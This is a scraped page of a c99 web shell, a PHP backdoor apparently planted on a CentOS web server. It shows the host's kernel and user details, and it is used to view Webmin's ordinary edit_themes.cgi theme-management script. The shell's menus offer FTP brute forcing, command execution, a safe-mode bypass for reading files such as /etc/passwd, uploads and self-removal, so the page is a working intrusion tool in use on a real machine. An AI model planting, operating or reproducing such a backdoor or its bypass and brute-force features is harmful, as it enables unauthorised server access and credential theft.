!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/webmin/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_themes.cgi (3.5 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# edit_themes.cgi
# Display all themes, and allow installation of a new one

require './webmin-lib.pl';
&ReadParse();
&ui_print_header(undef, $text{'themes_title'}, "");

@all = &list_themes();
@themes = grep { !$_->{'overlay'} } @all;
@overlays = grep { $_->{'overlay'} } @all;
$prog = "edit_themes.cgi?mode=";
($gtheme, $goverlay) = split(/\s+/, $gconfig{'theme'});

# Start tabs
if (@themes) {
    @tabs = ( [ "change", $text{'themes_tabchange'}, $prog."change" ] );
    }
if (@overlays) {
    push(@tabs, [ "overlay", $text{'themes_taboverlay'}, $prog."overlay" ]);
    }
if (!&shared_root_directory()) {
    push(@tabs, [ "install", $text{'themes_tabinstall'}, $prog."install" ]);
    }
if (!&shared_root_directory() && @all) {
    push(@tabs, [ "delete", $text{'themes_tabdelete'}, $prog."delete" ]);
    }
if (@themes || @overlays) {
    push(@tabs, [ "export", $text{'themes_tabexport'}, $prog."export" ] );
    }
print &ui_tabs_start(\@tabs, "mode", $in{'mode'} || $tabs[0]->[0], 1);

# Display theme change form
if (@themes) {
    print &ui_tabs_start_tab("mode", "change");
    print "$text{'themes_desc'}<p>\n";
    print &ui_form_start("change_theme.cgi");
    print "<b>$text{'themes_sel'}</b>\n";
    print &ui_select("theme", $gtheme,
        [ [ '', $text{'themes_default'} ],
          map { [ $_->{'dir'}, $_->{'desc'} ] } @themes ]),"<p>\n";
    print &ui_form_end([ [ undef, $text{'themes_change'} ] ]);
    print &ui_tabs_end_tab("mode", "change");
    }

# Display overlay change form
if (@overlays && $gtheme) {
    print &ui_tabs_start_tab("mode", "overlay");
    print "$text{'themes_overdesc'}<p>\n";
    print &ui_form_start("change_overlay.cgi");
    print "<b>$text{'themes_overlay'}</b>\n";
    print &ui_select("overlay", $goverlay,
        [ [ '', $text{'themes_none'} ],
          map { [ $_->{'dir'}, $_->{'desc'} ] } @overlays ]),"<br>\n";
    print &ui_form_end([ [ undef, $text{'themes_change'} ] ]);
    print &ui_tabs_end_tab("mode", "overlay");
    }

if (!&shared_root_directory()) {
    # Display install form
    print &ui_tabs_start_tab("mode", "install");
    print "$text{'themes_installdesc'}<p>\n";
    print &ui_form_start("install_theme.cgi", "form-data");
    print &ui_radio_table("source", 0,
        [ [ 0, $text{'mods_local'}, &ui_filebox("file", undef ,40) ],
          [ 1, $text{'mods_uploaded'}, &ui_upload("upload") ],
          [ 2, $text{'mods_ftp'}, &ui_textbox("url", undef, 40) ] ]);
    print &ui_form_end([ [ undef, $text{'themes_installok'} ] ]);
    print &ui_tabs_end_tab("mode", "install");
    }

if (!&shared_root_directory() && @all) {
    # Display deletion form
    print &ui_tabs_start_tab("mode", "delete");
    print "$text{'themes_delete'}<p>\n";
    print &ui_form_start("delete_mod.cgi");
    print "<b>$text{'themes_delok'}</b>\n";
    print &ui_select("mod", undef,
        [ map { [ $_->{'dir'}, $_->{'desc'} ] } @all ]),"<br>\n";
    print &ui_form_end([ [ undef, $text{'delete'} ] ]);
    print &ui_tabs_end_tab("mode", "delete");
    }

# Display export form
print &ui_tabs_start_tab("mode", "export");
print "$text{'themes_desc4'}<p>\n";

print &ui_form_start("export_mod.cgi/theme.wbt.gz");
print &ui_table_start(undef, undef, 2);

print &ui_table_row($text{'themes_exportmods'},
    &ui_select("mod", undef,
        [ map { [ $_->{'dir'}, $_->{'desc'} ] } @themes ], 5, 1));

print &ui_table_row($text{'mods_exportto'},
    &ui_radio("to", 0,
        [ [ 0, $text{'mods_exportshow'}."<br>" ],
          [ 1, &text('mods_exportfile',
                 &ui_textbox("file", undef, 40)) ] ]));

print &ui_table_end();
print &ui_form_end([ [ "ok", $text{'themes_exportok'} ] ]);
print &ui_tabs_end_tab("mode", "export");

print &ui_tabs_end(1);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0125 ]--